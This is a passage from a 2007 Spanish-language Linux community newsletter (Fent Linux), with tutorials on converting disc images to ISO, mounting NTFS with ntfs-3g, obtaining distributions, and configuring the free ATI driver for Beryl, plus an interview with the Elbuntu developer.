de foros. De todas formas si por alguna razón no nos sirve trabajar con imágenes, tenemos la

información de nuestro perfil en modo texto disponible a través de distintos canales RSS desde

www.last.fm/tools/feeds.

* Privacidad.

Una persona que jamás haya escuchado de este servicio es probable que se pregunte a

estas alturas qué tanta información envía el reproductor sobre la música que escuchamos. Esto

es algo que se encuentra cubierto en su lista de preguntas más frecuentes, pero a manera de

resumen se pueden decir tres cosas al respecto.

Tanto en su día los plugins como actualmente el reproductor, son aplicaciones de código

abierto, por lo que cualquier usuario con los conocimientos necesarios podrá comprobar

fácilmente que no hay ninguna actividad sospechosa durante el funcionamientos de los

mismos. Sólo se envía información sobre el artista, el título y el álbum de la canción

escuchada, y no se registra el tipo de archivo, por lo que el sistema no es capaz de determinar

si nuestras canciones favoritas provienen del eMule o de un CD original.

Una vez que extraen el material para elaborar estadísticas anónimas, los logs de sus servidores

son eliminados por completo.

A pesar de estas notas aún quedan unas cuantas cosas por descubrir como los grupos de

discusión sobre distintos temas, las pizarras de mensajes en cada perfil, la lista de amigos o

incluso la posibilidad de pagar por el servicio y tener acceso a algunas funciones adicionales.

Espero que sea suficiente con lo que han leído para que se animen a probar el servicio y

descubrir por ustedes mismos estas y otras cosas que no hayan sido explicadas en detalle.

5. Convertir imágenes de archivo en GNU/Linux

Por Liamngls.

En GNU/Linux se pueden montar imágenes de una forma muy sencilla para evitar tener

que grabarlas, el problema es que puede ser que tengamos una imagen en un formato que no

podamos montar nativamente y necesitemos convertirla, por supuesto también de una forma

sencilla y en pocos pasos podemos convertir una imagen en iso.

Vamos a ver los formatos de imagen más populares, bin/cue, mdf/mds, ccd y nrg; todas las

herramientas están disponibles en los repositorios de Debian para su descarga vía apt-get. Se

incluye igualmente el enlace a la página de cada una para usuarios de otras distros o por si

Page 37: Mega Boletin Fent Linux 2007

falla la descarga vía consola.

* Para convertir una imagen bin a iso usaremos bchunk, podemos descargarlo en: bchunk

En la consola escribimos: bchunk imagen.bin imagen.cue imagen.iso

* Para convertir una imagen mdf/mds, (recordar que el mds es el equivalente al cue en los bin,

es obligatorio tener el mdf), usaremos mdf2iso, podemos descargarlo en: mdf2iso

En la consola escribimos: mdf2iso imagen.mdf imagen.iso

* Para convertir una imagen ccd usaremos ccd2iso, esta es quizás la más compleja, se suele

componer de cuatro archivos, ccd, img, cue y sub; lo podemos descargar de: ccd2iso

En la consola escribimos: ccd2iso imagen.img imagen.iso

* Para convertir una imagen nrg usaremos nrg2iso, podemos descargarlo en: nrg2iso

En la consola escribimos: nrg2iso imagen.nrg imagen.iso

* Para convertir una imagen de bin a cue:

En la consola escribrimos: drdao read-cd --read-raw --datafile ff7cd2.bin --device ATAPI:0,0,0 --

driver generic-mmc-raw ff7cd2.cue

* Para convertir de NERO a ISO:

http://gregory.kokanosky.free.fr/v4/linux/nrg2iso.en.html

nrg2iso - Extracts ISO9660 data from Nero ".nrg" files

O eliminar directamente los primeros bytes para eliminar la cabecera:

dd if=imagen.nrg of=imagen.iso bs=1024 skip=300

* Luego para montar la imagen iso, suponiendo que la tengamos en nuestra carpeta de

usuario del home, creamos una carpeta nueva donde montarla, por ejemplo en /media y tan

simple como escribir

mount -o loop /home/usuario/imagen.iso /media/carpetanueva

Cuando queramos desmontar la imagen solamente escribir

umount /media/carpetanueva

Esto es todo, de momento, saludos.

Page 38: Mega Boletin Fent Linux 2007

6. Escribir en particiones NTFS desde GNU/Linux

Por Andrey.

Ahora os voy a contar como conseguí ver/escribir mi partición de windows desde

Debian, ya que por defecto no la puedes escribir . Supongo que también funciona de la misma

manera en Ubuntu's y otras distribuciones de Linux.

Todo el truco consiste en editar el archivo /etc/fstab que es el que contiene la info de todas las

unidades del sistema (HDs, CD's, floopis, usbs portátiles etc...)

El problema llega a la hora del soporte ntfs. Linux no lo trae por defecto.

El método por el que me he decidido fue el de ntfs-3g. Consiste en instalar unos paquetes, y

luego utilizar dicho programa para montar el HD ntfs.

Bien, fijaros bien en el formato, las comas y los espacios de las líneas que hay que añadir al

fstab, ya que puede ser un problema.

– Se descargan e instalan vía synaptic/adept/apt todos los paquetes referentes a fuse y a

ntfs-3g. Ya ha salido una versión estable de dichos paquetes, así que no os preocupéis por

la perdida de datos.

– Se averigua con cualquier programa tipo gparted en que partición/disco tienes el disco

de windows (hda1, hdb1, hda2, sda1, etc...........). O también con algún comando de la

consola tipo: fdisk -l (como root). Pero eso teóricamente se debería saber a la hora de

instalar el sistema, ya que hay que pasar por un asistente de particionado.

– En el directorio /mnt se crea una carpeta con nombre wind. Que sera la carpeta donde se

montara la unidad de ntfs, y nos indicará con el nombre que es de windows. Igualmente

puedes poner cualquier cosa, con tal de asegurarse en el paso 4 de ponerlo bien.

– 4º Se va a fstab con el comando:

su

kate /etc/fstab

en vez de kate se puede utilizar cualquier editor de texto, pero prefiero ese ya que se ve en

colorines (para ubuntu es: sudo kate /etc/fstab)

Aquí es donde empieza lo bueno:

En el archivo de texto que se abrirá veras algo parecido a esto:

/dev/hda4 / ext3 nouser,defaults,errors=remount-ro,atime,auto,rw,dev,exec,suid 0 1

/dev/hda2 /home ext3 nouser,defaults,atime,auto,rw,dev,exec,suid 0 2

/dev/hda3 none swap sw 0 0

/dev/hdc /media/cdrom0 udf,iso9660 user,atime,noauto,rw,dev,exec,suid 0 0

/dev/fd0 /media/floppy0 auto user,atime,noauto,rw,dev,exec,suid 0 0

/dev/hda1 /mnt/wind ntfs-3g nouser,defaults,atime,auto,rw,dev,exec,suid 0 0

Page 39: Mega Boletin Fent Linux 2007

Cada línea del fstab indica alguna unidad detectada por el sistema, o escrita por ti.

- Bueno, el caso es que tenemos que indicar en el fstab que se monte automáticamente la

partición de windows (o no.. sigue leyendo..), y que se pueda escribir en ntfs sin problemas.

Entonces vamos a añadir según el esquema de las líneas de cada dispositivo, una a nuestro

gusto.

Primero vamos a poner /dev/hda1 cambiando hda1 por lo explicado en el paso dos.

Seguidamente (con un espacio entre medias), escribimos la ruta donde se va a montar dicha

unidad de disco. Osea, /mnt/win.

Nos queda algo así: /dev/hda1 /mnt/win

Ahora tenemos que poner el formato de la partición. Pero no pondremos simplemente ntfs,

sino ntfs-3g. Así utilizara el paquete descargado para montarla.

Hasta el momento nos queda algo así: /dev/hda1 /mnt/wind ntfs-3g

Bien. Después de esto se pone una larga fila de opciones de montaje de la partición. Aquí

detallo algunas de ellas:

* auto: indica que el dispositivo se monta siempre que se inicie el sistema. La opuesta es

noauto.

* rw: indica que el dispositivo se monta con permisos de lectura y escritura.

* ro: indica que el dispositivo se monta con permisos de lectura solamente.

* owner: indica que el primer usuario distinto de root conectado al sistema localmente tiene

derechos a montar y desmontar el dispositivo (se adueña de este).

* user: indica que cualquier usuario puede montar y solo el mismo usuario podrá desmontar el

dispositivo. La opción opuesta es nouser.

* users: indica que cualquier usuario puede montar y cualquiera también, puede desmontar el

dispositivo.

* suid: indica que el permiso tenga efecto para los ejecutables presentes en el dispositivo. La

opción opuesta es nosuid.

* exec: indica que los binarios ejecutables almacenados en el dispositivo se pueden ejecutar.

La opción opuesta es noexec.

* async: expresa que todas las operaciones de entrada y salida se hacen de forma asíncrona,

o sea, no necesariamente en el momento en que se invocan. La opción opuesta es sync.

* dev: indica que se interprete como tal a los dispositivos especiales de bloques y de

caracteres presentes en el dispositivo. La opción opuesta es nodev.

* defaults: es una opción equivalente a la unión de rw, suid, dev, exec, auto, nouser y async.

* umask: Permite cambiar los permisos de la partición.

Se escriben todo en fila separados por comas. Estas opciones son cosa personal de cada uno, y

se deben poner a gusto/necesidad.

Por ultimo, esos dos números que se ponen al final, sirven para: el primer número hace un

backup de los datos, y el 2º comprueba los errores. Allí debes poner un 1 (para sí hacer el

backup) ó un 0 (para no hacerlo). Y en el segundo número, tienes que poner un numero de 0 a

Page 40: Mega Boletin Fent Linux 2007

la cantidad de particiones del fstab. Indica la prioridad de comprobación de errores (0 para no

realizarla).

Después de esto, compruebas que la linea que as escrito concuerda con esto: /dev/hda1

/mnt/wind ntfs-3g nouser,defaults,atime,auto,rw,dev,exec,suid 0 0

Repito, es completamente personal, pero se debe respetar el formato, sino no funcionara.

Guardas el fstab y reinicias el ordenador. Si todo ha ido bien ya tendrás montada tu partición

NTFS, y dependiendo de las opciones, será describible o no.

Suerte.

7. Algo he oído sobre linux, pero cómo lo consigo. Te damos unas

pistas.

Por Cocolino.

¿Cómo consigo linux? Pregunta que más de uno se se hace, se hizo o se hará en sus

inicios hacía la libertad.

Posiblemente la mejor forma para conseguir alguna de las múltiples opciones de distribución

gnu/linux es la descarga directa desde la red, vía internet, también la más habitual, pero no es

la única. Repasemos alguna de estas “otras” opciones y también, por que no, la habitual de

descarga desde la red, ya sea mediante la utilización de algún cliente p2p, siendo

posiblemente la red bittorrent la más habitual, o la descarga directa, más rápida que la

anterior, si bien desgraciadamente no todos tienen el espacio ni los recursos suficientes para

distribuirla por este medio.

Estos apuntes va un poco de todo esto, cómo podemos conseguir nuestras distribuciones

gnu/linux y para ello vamos a intentar abarcar el mayor campo posible de opciones y que el

usuario final escoja aquella que crea más conveniente para sus posibilidades, ya sean

económicas, de velocidades de conexión o aquello que le resulte más cómodo o friqui.

* Envío de cds gratuitos.

Conocido es el servicio de ubuntu, el cual nos obsequia con la opción de solicitar los

cds de ubuntu por vía de correo ordinario y gratuito. Salvo la versión 6.10, todas se han

podido solicitar por este medio, y que ahora con la versión 7.04 acaban de recuperar.

* Cds en revistas y/o prensa.

Muchas distros son ofrecidas en las diferentes ediciones de revistas dedicadas a la

informática, las cuales suelen venir acompañadas de algún cd / dvd de “regalo” en su interior.

(Permítanme que no cite nombres, al fin y al cabo ellos cobran por su producto y no creo que

Page 41: Mega Boletin Fent Linux 2007

este sea el mejor medio de hacer publicidad gratuita y por la cara a nadie)

Incluso algún que otro diario ha ofrecido dicha opción. Ahora mismo, y a modo de ejemplo,

recuerdo que la última versión estable de debian fue ofrecida por dicho medio.

* En eventos, jornadas, cursos...

También nos podemos encontrar en eventos, congresos, jornadas, cursos o talleres más

o menos dedicadas al software libre desde el que se nos facilita la opción de adquirir cds

originales de las diferentes distros de forma gratuita.

* En instituciones, colegios, bibliotecas,...

Muchas delegaciones, consellerias, ayuntamientos, juntas, colegios, institutos,

bibliotecas facilitan copias de las diferentes distribuciones, normalmente relacionadas con cada

comunidad.

* La compra.

Y por supuesto, siempre queda la compra, ya sea directamente a la distribución en

cuestión o a través de algún distribuidor u página web dedicado al tema. (Entiendan también

que no cite ni facilite enlaces de este servicio)

* Los amigos.

Ese "friqui", el novio de mi hermana, seguro que usa linux... voy a pedírselo y ver que

pasa, y luego ya lo compartiré entre los colegas. Ya saben quien tiene un amigo tiene un

tesoro.

* La descarga directa.

No puede faltar, la mejor opción en la mayoría de las ocasiones, por velocidad, rapidez,

practicidad y por depender de uno mismo.

Algunas opciones a modo de ejemplo.

* Envíos de cds gratuitos:

Las ya conocidas de ubuntu, para ubuntu , para kubuntu y para edubuntu.

Para varios, sólo uno y temporalmente deshabilitada la opción free.thelinuxstore

Para guadalinex (desde Andalucia), necesita registro en web, pero lo manden, indestíntamente

de tu ubicación de residencia.

Page 42: Mega Boletin Fent Linux 2007

www.guadalinex.org

Para pedir los de lliurex (desde Valencia) lliurex.net (no probado)

Linkat (Desde catalunya) linkat.xtec.net

El amigo noctuido nos informa de como conseguir Molinux en su bitácora. Opción de solicitarlo

por correo electrónico.

* Otro caso, que me gustaría reseñar es la descarga directa desde los Mirrors (espejos)

ubicados en España, para algunos más rápidos que el resto... por estar más cerca, si bien no

deja de ser una teoría algo discutible

- caliu ftp://ftp.caliu.cat/ ftp://ftp2.caliu.cat/

- rediris http://sunsite.rediris.es/mirror/ ftp://ftp.rediris.es/mirror/

- cica ftp://ftp.cica.es/mirrors/Linux/

* P2P

Para descargas por la red torrent, contamos con: linuxtracker

Para la red donkey, ya saben busquen con el programa correspondiente o den una vistazo

general por las diferentes webs dedicadas al programa, que tal como está el panorama, mejor

no complicarse.

* Hacer mención a algunos de los espacios que recopilan información de índole general de

todas las distros y nos ofrecen el camino para la descarga de las diferentes distros.

- distrowatch.com

- The LiveCD List

* Y los mirrors de las distros más populares del último año, para descarga directa.

Damn Small Linux: http://www.damnsmalllinux.org

Debian: http://www.debian.org

Knoppix: http://www.knopper.net/knoppix-mirrors

Gentoo: http://www.gentoo.org

Fedora: http://fedora.redhat.com

Mandriva http://www.mandriva.com

Mepis: http://www.mepis.org

PC Linux OS: http://www.pclinuxos.com

Slackware: http://www.slackware.com

Slax http://slax.linux-live.org

SuSe: http://en.opensuse.org

Ubuntu http://www.ubuntu.com

Elive http://www.elivecd.org

Kanotix http://kanotix.com

VectorLinux http://www.vectorlinux.com

Page 43: Mega Boletin Fent Linux 2007

Puppy Linux http://www.puppyos.com

kubuntu http://www.kubuntu.org

Xubuntu http://www.xubuntu.org

Sabayon http://www.sabayonlinux.org

CentOS http://www.centos.org

Una excusa menos para probar linux y un paso más hacía la libertad.

8. Agradecimientos y créditos

Nuestro más sincero agradecimiento a Bad Seed, Liamngls, Andrey,

montagú, y Javiar Casares por su colaboración e interés y por su

participación directa en la confección del presente boletín.

Para posibles interesados en colaborar en su mantenimiento y difusión: Contacto.

Recordar que el presente boletín, como todas las imágenes y texto de FL se distribuyen bajo la

licencia de contenidos que rige en FL.

Otros boletines FL.

• 1er boletín online FL 2007 .

9. Tercer aniversario

Para el recuerdo de esta fecha, un bonito fondo para adornar vuestras

pantallas, como siempre con el sello del genio thyzzar: imagen.

Nuestro más sincero agradecimiento a los que de una forma u otra habéis contribuido a ello,

nos seguiremos leyendo por mucho tiempo. La lucha continua.

Feliz 3er aniversario, y mucho Fentlinux

* Novedad 2007-04-25: El presente boletín se encuentra disponible en formato pdf: 2

boletín en pdf.

• Creado el 2007-04-04, actualizado el 2007-04-07, el 07-04-17 y el 2007-12-04.

Page 44: Mega Boletin Fent Linux 2007

- 3º BOLETÍN FL 2007 -

Con tod@s, la tercera entrega en tres meses del boletín online de FL.

Mantenemos la ilusión.

Temas

1. Entrevista a Maxence DUNNEWIND desarrollador de Elbuntu

2. Driver ATI para AIGLX+Beryl en Debian

3. WengoPhone, VoIP OpenSource

4. Instalación de elbuntu (Ubuntu + E17)

5. Emuladores y roms en linux

6. Agradecimientos y créditos

7. Anexo: Entrevista en versión original

1. Entrevista a Maxence DUNNEWIND desarrollador de Elbuntu

Fentlinux (FL): ¿Qué es Elbuntu?

Maxence DUNNEWIND (MD): Elbuntu es una distribución Linux basada en Ubuntu. La misma

incluye el gestor de ventanas Enlightenment DR17. Enlightenment es un gestor de

ventanas poderoso y muy atractivo. Pero como sea, Enlightenment DR17 (E17) no se

encuentra en el repositorio oficial de Ubuntu. Así que usamos nuestro propio repositorio, el

cual provee Enlightenment sobre sistemas Ubuntu.

FL.: ¿Y tú? ¿Cuál es tu función dentro del proyecto?

MD.: Soy el principal desarrollador de Elbuntu. Mi trabajo es ensamblar Enlightenment sobre

un sistema Ubuntu. La distribución Elbuntu proveerá mucho software EFL. Por ejemplo,

Gnome es reemplazado por Enlightenment (por supuesto), GDM se ve reemplazado por

Entrance ... Como sea, no existe software basado en EFL para todas las cosas que desees hacer

en tu computadora, por lo que proveo las librarías GTK en la distribución.

FL.: Solía ser Ebuntu, ¿por qué el cambio?

MD.: Ebuntu fue el primer nombre del proyecto, pero el desarrollador de Ebuntu tuvo que

detener el desarrollo debido a una falta de tiempo. Cuando yo comencé el desarrollo de

Ebuntu, el antiguo desarrollador me dijo que dicho nombre se parecía mucho al de Edubuntu,

una distribución basada en Ubuntu que provee software educativo. Debido a un problema de

comunicación con el antiguo desarrollador (no tenía acceso a banda ancha rápida), reinicié

Page 45: Mega Boletin Fent Linux 2007

todo el desarrollo de Ebuntu. Durante el desarrollo de la versión alpha, comencé una votación

con algunas proposiciones de nombres. Después de 10 días, el nombre escogido fue Elbuntu.

FL.: ¿Por qué Enlightenment? ¿Qué lo hace diferente al resto?

MD.: Enlightenment es un gestor de ventanas open-source para el sistema de ventanas X.

Cuenta con un conjunto muy rico de características, incluyendo soporte para temas y gráficos

avanzados sin sacrificar el buen desempeño. Los desarrolladores de Enlightenment han

creado un conjunto muy poderoso de librerías (la EFL). Ahora, estas librerías permiten un

software muy rápido. Proveen, por ejemplo, fondos animados.

Enlightenment es rápido, ligero y muy atractivo, de manera que permite a las personas tener

un escritorio bonito sin sacrificar desempeño. Durante nuestras pruebas, Elbuntu ha

funcionado perfectamente sobre un procesador a 400Mhz con 64Mb de RAM.

FL.: ¿Qué futuro ves en Enlightenment considerando la popularidad de KDE y Gnome?

MD.: Como dije en la pregunta anterior, no creo que Gnome, KDE y Enlightenment sean para

el mismo público.

Gnome y KDE proveen mucha funcionalidad, pero usan más recursos que E17. Otra diferencia

es que a algunas personas no les gusta tener muchos iconos en su escritorio o ventanas

emergentes con advertencias.

Gnome y KDE son muy fáciles de usar para los usuarios nuevos. E17 es un poco más difícil.

Para evitar que los usuarios se desanimen al trabajar con Elbuntu, quiero escribir una pequeña

ayuda que explique todas las funcionalidades de Elbuntu (si hay personas interesadas, por

favor contáctenme a [email protected] o dentro de nuestro sitio web:

http://www.elbuntu.org).

Por supuesto, Elbuntu no será usado por miles de personas como Gnome/KDE, pero sí que hay

muchas personas interesadas en el mismo, de manera que continuaré su desarrollo.

FL.: ¿Habrá una versión estable de E17 pronto?

MD.: Sí, eso pienso. Pero no sé cuándo, asumo que "cuando esté listo" :)

FL.: Hablemos acerca del proyecto, aún en su fase de construcción, ¿cuándo comenzó? ¿Cuáles

son los planes para el mismo?

MD.: Elbuntu comenzó hace 6 meses, cuando decidí trabajar en el mismo. Contacté a los

desarrolladores que habían trabajado en Ebuntu y me dijeron que habían dejado de trabajar en

el mismo debido a una gran falta de tiempo; por lo tanto, empecé a desarrollarlo yo mismo. El

plan es primero liberar una beta que será utilizable, con la mayor parte del software basado en

EFL (Entrance, Eclair, Exhibit, Extrackt). La beta debería tener capacidades de auto-montaje

para dispositivos conectables en caliente. Después haríamos un poco de trabajo personalizado,

como remover algunos servicios para agilizar el inicio...

Pero sea como sea, una distribución es algo usado por personas, de manera que no puedo

construirla sin saber qué es lo que quiere la gente :)

Page 46: Mega Boletin Fent Linux 2007

FL.: ¿Alguna versión estable por venir?

MD.: Cuando esté lista :) Esperen por la beta de momento :) Creo que no habrá mucha

diferencia entre la beta y el primer lanzamiento.

FL.: ¿Habrá una versión de Elbuntu tal como las de Kubuntu, Xubuntu y Edubuntu, con sus

propios sitios web e imágenes ISO descargables?

MD.: Por supuesto, echa un vistazo a www.elbuntu.org para más información. La imagen ISO

será descubierta cuando liberemos la beta :)

FL.: ¿Cuántas personas hay colaborando o detrás del proyecto?

MD.: No muchas. Conmigo está Lutin, quien realiza mucho del trabajo en el repositorio; está

ZaZoOo, quien maneja el arte; y también está Bishop, quien se encarga de la página web :)

Bishop recibió ayuda de algunas otras personas como joejaxx.

Por supuesto, todos los que quieran ayudar son bienvenidos. Actualmente, estoy buscando

personas que puedan escribir la parte en inglés del blog o que puedan crear una ayuda rápida

que será mostrada al inicio de Elbuntu.

FL.: ¿Qué hay con la relación con la gente de Ubuntu? ¿Reciben algún tipo de soporte de parte

de ellos?

MD.: Algunas personas nos ayudan revisando nuestros paquetes antes de incluirlos en el

repositorio. La comunidad de Ubuntu ayuda a todo el que pueda, de manera que, si tengo

algún problema específico, puedo preguntarles y ellos intentarán ayudarme, incluso si no

trabajan en el desarrollo de Elbuntu.

FL.: Hablemos de los mayores desafíos, ¿cuáles problemas hay en el desarrollo y

mantenimiento de Elbuntu?

MD.: Durante el desarrollo, el mayor problema eran los procesos en vivo. Pero descubrí cómo

funcionan (con Casper por ejemplo), y ahora funcionan. Después del lanzamiento de la beta,

creo que intentará organizar una mejor plataforma para el mantenimiento. Luego de eso, una

nueva versión será lanzada cuando se realicen cambios importantes, no después de los

lanzamientos de Ubuntu.

FL.: Después del anuncio de que para el 2008 todas las aplicaciones serían compatibles entre

distros debido a LSB 4.0, ¿cómo piensas que ello afectará el sistema de paquetes actual de

Elbuntu?

MD.: No creo que Elbuntu se vea afectado más que cualquier otra distro Linux. Nuestros

paquetes siguen la política general, por lo que deberían ser compatibles.

FL.: Alrededor de Ubuntu y sus derivados, siempre han habido comentarios y desconfianza

acerca de un posible "doble juego" de parte de Mark Shuttleworth, ¿cuál es tu opinión al

respecto?

MD.: Realmente, algunas de las elecciones de Mark no son muy apreciadas por la comunidad,

pero después de ciertas discusiones, sólo las mejores opciones son validadas. Y, si Mark llega

Page 47: Mega Boletin Fent Linux 2007

a iniciar algo en Ubuntu que nosotros no podamos aceptar en Elbuntu, simplemente lo

eliminaremos de lleno :)

FL.: ¿Ubuntu ó Debian?

MD.: ¿Es esto un troll? Para Elbuntu, escogí a Ubuntu. ¿Por qué? Porque yo uso Ubuntu

desde hace muchos años y conozco la distribución. Lo que me gusta de Ubuntu es su

simplicidad de uso (especialmente en la parte del hardware), por lo tanto es lo que quiero usar

para Elbuntu :)

FL.: ¿Existe alguna relación con la distro Elive? ¿Una posible integración del proyecto?

MD.: No existe ninguna relación. Elbuntu provee un Live CD con opciones de instalación, por

lo que no veo qué tipo de integración sería posible.

FL.: En términos generales, ¿es Ubuntu el futuro de Linux? ¿Es la mejor opción para migrar

desde Windows? ¿Algún posible contendiente?

MD.: Otro troll :) Mi opinión es que Ubuntu es fácil de usar, y creo que es la distribución más

fácil para aquellas personas que no están interesadas en las computadoras. De todas formas,

no puedo decir que Ubuntu sea LA distro. Cada distribución es distinta, cada persona puede y

debe escoger. No conozco muy bien las otras distros, por lo que no puedo hablar acerca de

contendientes.

Debo precisar que no estoy solo en el desarrollo de Elbuntu. Lutin hace un gran trabajo en el

repositorio, ZaZo0o nos ayuda mucho con el arte, Bishop trabaja en el blog, y algunas otras

personas que nos ayudan :) ¡Gracias a ellos!

Para terminar, la bienvenida a Manish Chakravarty, quien fue el primer desarrollador de

Ebuntu (el antiguo Elbuntu), y quien recién se unió a nuestro equipo :)

2. Driver ATI para AIGLX+Beryl en Debian

Por andrey.

Hace tiempo que los que tenemos tarjetas gráficas ATI, nos peleamos por poder

instalar el tan conocido Beryl. Varios meses buscando información, e intentado configurar mi

gráfica para esto, encontré una solución. Se trata de instalar el driver libre de ATI, que

podemos encontrar en los repositorios.

Se trata de una versión experimental, desarrollada por la comunidad. Su desventaja, respecto

al driver oficial, es que tiene bastante peor rendimiento que estos. Pero su ventaja es que tiene

mucha más compatibilidad. Esto es lo que explicaré ahora. El proceso es mucho más largo y

complejo que en las tarjetas intel o nvidia.

Este manual lo probé en una ATI Radeon 9600. Y otras personas en una 9200SE, y en una 9800

y va a la perfección.

Page 48: Mega Boletin Fent Linux 2007

Antes de nada, debemos asegurarnos de que no tenemos instalado el driver propietario. Para

esto escribimos en la consola:

lsmod | grep fglrx

Y si como resultado nos sale algo parecido a esto:

glrx 396940 8

agpgart 29896 2 fglrx,intel_agp

Debemos desactivar, y desinstalar dicho driver.

Primero, procederemos a desactivarlo. Para esto, accedemos a xorg.conf como usuario root:

su

gedit /etc/X11/xorg.conf

Entre todo lo que nos saldrá en ese archivo, buscamos la sección "device". Dentro de esta

sección, buscamos donde pone Driver "fglrx", sin más, sustituimos este fglrx por vesa.

Después, guardamos el archivo, y salimos del editor de textos.

En el caso, de que después de que reiniciemos, no nos arranque el servidor gráfico, o de algún

error, tendremos que entrar a través de recovery mode o a la salida del error, nos devolverá

a la consola, y teclear como root:

dpkg-reconfigure xserver-xorg

Esto reseteará el xorg.conf a su estado original.

Ahora lo que hay que hacer, es desinstalar los drivers propietarios (si los hay). Abrimos la

consola, y tecleamos nuevamente como root:

aptitude search fglrx

Si nos sale algo parecido a esto:

i fglrx-kernel-src

i fglrx-kernel-2.6.18-4-686

i fglrx-driver

i fglrx-control

Escribimos de nuevo:

aptitude purge fglrx-kernel-src fglrx-driver

... y todos los paquetes de la lista que te salieron antes.

Cuando tengamos desinstalado este driver, y todo hecho, reiniciamos el servidor gráfico (en su

defecto directamente el ordenador...), probamos de nuevo el comando:

lsmod | grep fglrx

Ahora si todo ha ido bien, no saldrá absolutamente nada.

Ahora tenemos que instalar el driver libre de ATI. Teniendo solo los repositorios habituales de

Page 49: Mega Boletin Fent Linux 2007

Debian ETCH, tecleamos como root:

aptitude install xserver-xorg-video-ati libgl1-mesa-dri libgl1-mesa-glx

Con esto instalaremos el driver libre de ATI. Si algún paquete no se encuentra, tendremos que

añadir los repositorios testing, y multimedia abajo señalados:

#TESTING

deb http://ftp.fi.debian.org/debian/ testing main contrib non-free

#MULTIMEDIA

deb http://www.debian-multimedia.org testing main

Y para la firma de los repositorios multimedia tecleamos esto en la consola:

gpg --keyserver wwwkeys.eu.pgp.net --recv-keys 1F41B907

Y después:

gpg --armor --export 1F41B907 | sudo apt-key add -

Ahora escribimos: apt-get update y volvemos a probar instalar dichos paquetes.

Cuando los tenemos ya instalados, indicaremos a xorg.conf que es lo que tiene que utilizar.

Abriremos de nuevo el xorg.conf con el comando de antes.

-Ahora, vamos otra vez a la sección device, y sustituimos lo que antes pusimos de vesa por

radeon.

-En la sección "ServerLayout", añadimos lo siguiente (solo lo que está en negrita):

Section "ServerLayout"

Identifier "Default Layout"

Screen "Default Screen" 0 0

InputDevice "Generic Keyboard"

InputDevice "Configured Mouse"

Option "AIGLX" "true"

EndSection

-La sección donde pone "Modules" debe quedar con estos módulos activos:

Section "Module"

Load "i2c"

Load "bitmap"

Load "ddc"

Load "dri"

Load "extmod"

Load "freetype"

Load "glx"

Load "int10"

Load "vbe"

Load "ati"

EndSection

Page 50: Mega Boletin Fent Linux 2007

A partir de ahora, la cosa se pone un poco más personal, ya que la opciones dichas a

continuación no son soportadas por todas las gráficas. Así que lo que está en rojo, se debe

poner, o quitar según tengas aceleración o no. En el caso de fallo utilizar el comando que puse

más arriba. Si te falla el servidor gráfico, o no hay aceleración (verás como comprobarlo más

abajo), simplemente ves quitando una a una las opciones en rojo, hasta conseguir la

aceleración.

Añadimos lo que está en negrita:

Section "Device"

Identifier "ATI Radeon 9600"

Driver "radeon"

BusID "PCI:1:0:0"

Option "AGPMode" "8

Option "EnablePageFlip" "true"

Option "ColorTiling" "true"

Option "EnableDepthMoves" "true"

Option "BackingStore" "true"

Option "AccelMethod" "XAA"

Option "AccelIDFS" "true"

Option "XAANoOffscreenPixmaps" "true"

Option "AllowGLXWithComposite" "true"

Option "AddARGBGLXVisuals" "true"

EndSection

Y al final del fichero, normalmente debe estar esto:

Section "DRI"

Mode 0666

EndSection

Si no lo hay, lo añadimos tal cual.

Y por último, añadimos, también al final, esta linea para activar el compositing:

Section "Extensions"

Option "Composite" "true"

EndSection

Ahora, probamos reiniciar el modo gráfico, o directamente el ordenador. Si el escritorio arranca

sin problemas, la mitad del problema ya está superado. Pero si da algún error de las X,

tenemos que teclear como root en la primera consola que nos aparezca:

dpkg-reconfigure xserver-xorg y seguir los pasos (aunque no los conozcamos). Y luego repetir

el proceso de xorg.conf quitando opciones de las que están en rojo.

Si todo ha salido bien, y tenemos el escritorio delante nuestro, probaremos la acelerción

gráfica. Antes instalaremos este paquete:

Page 51: Mega Boletin Fent Linux 2007

aptitude install mesa-utils

Y después tecleamos en la consola:

glxinfo | grep direct

Si nos sale:

direct rendering: Yes

La aceleración está activada y ya podemos instalar Beryl. Si no, tenemos que ir quitando

módulos en rojo, para conseguirla. Yo puse las opciones que me la dan a mi. Y aunque no a la

perfección, puedo correr Beryl.

Mi xorg.conf, para evitar desastres:

-----------------------------------------------------------------------------------

# /etc/X11/xorg.conf (xorg X Window System server configuration file)

#

# This file was generated by dexconf, the Debian X Configuration tool, using

# values from the debconf database.

#

# Edit this file with caution, and see the /etc/X11/xorg.conf manual page.

# (Type "man /etc/X11/xorg.conf" at the shell prompt.)

#

# This file is automatically updated on xserver-xorg package upgrades *only*

# if it has not been modified since the last upgrade of the xserver-xorg

# package.

#

# If you have edited this file but would like it to be automatically updated

# again, run the following command:

# sudo dpkg-reconfigure -phigh xserver-xorg

Section "Files"

FontPath "/usr/share/fonts/X11/misc"

FontPath "/usr/X11R6/lib/X11/fonts/misc"

FontPath "/usr/share/fonts/X11/cyrillic"

FontPath "/usr/X11R6/lib/X11/fonts/cyrillic"

FontPath "/usr/share/fonts/X11/100dpi/:unscaled"

FontPath "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"

FontPath "/usr/share/fonts/X11/75dpi/:unscaled"

FontPath "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"

FontPath "/usr/share/fonts/X11/Type1"

FontPath "/usr/X11R6/lib/X11/fonts/Type1"

FontPath "/usr/share/fonts/X11/100dpi"

Page 52: Mega Boletin Fent Linux 2007

FontPath "/usr/X11R6/lib/X11/fonts/100dpi"

FontPath "/usr/share/fonts/X11/75dpi"

FontPath "/usr/X11R6/lib/X11/fonts/75dpi"

# path to defoma fonts

FontPath "/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType"

EndSection

Section "Module"

Load "bitmap"

Load "ddc"

Load "dri"

Load "extmod"

Load "freetype"

Load "glx"

Load "int10"

Load "vbe"

Load "i2c"

Load "ati"

EndSection

Section "InputDevice"

Identifier "Generic Keyboard"

Driver "kbd"

Option "CoreKeyboard"

Option "XkbRules" "xorg"

Option "XkbModel" "pc105"

Option "XkbLayout" "es"

EndSection

Section "InputDevice"

Identifier "Configured Mouse"

Driver "mouse"

Option "CorePointer"

Option "Device" "/dev/input/mice"

Option "Protocol" "ImPS/2"

Option "Emulate3Buttons" "true"

EndSection

Section "Device"

Identifier "ATI Technologies Inc RV350 AQ [Radeon 9600]"

Driver "radeon"

BusID "PCI:1:0:0"

Option "UseFBDev" "true"

Option "AGPMode" "8

Page 53: Mega Boletin Fent Linux 2007

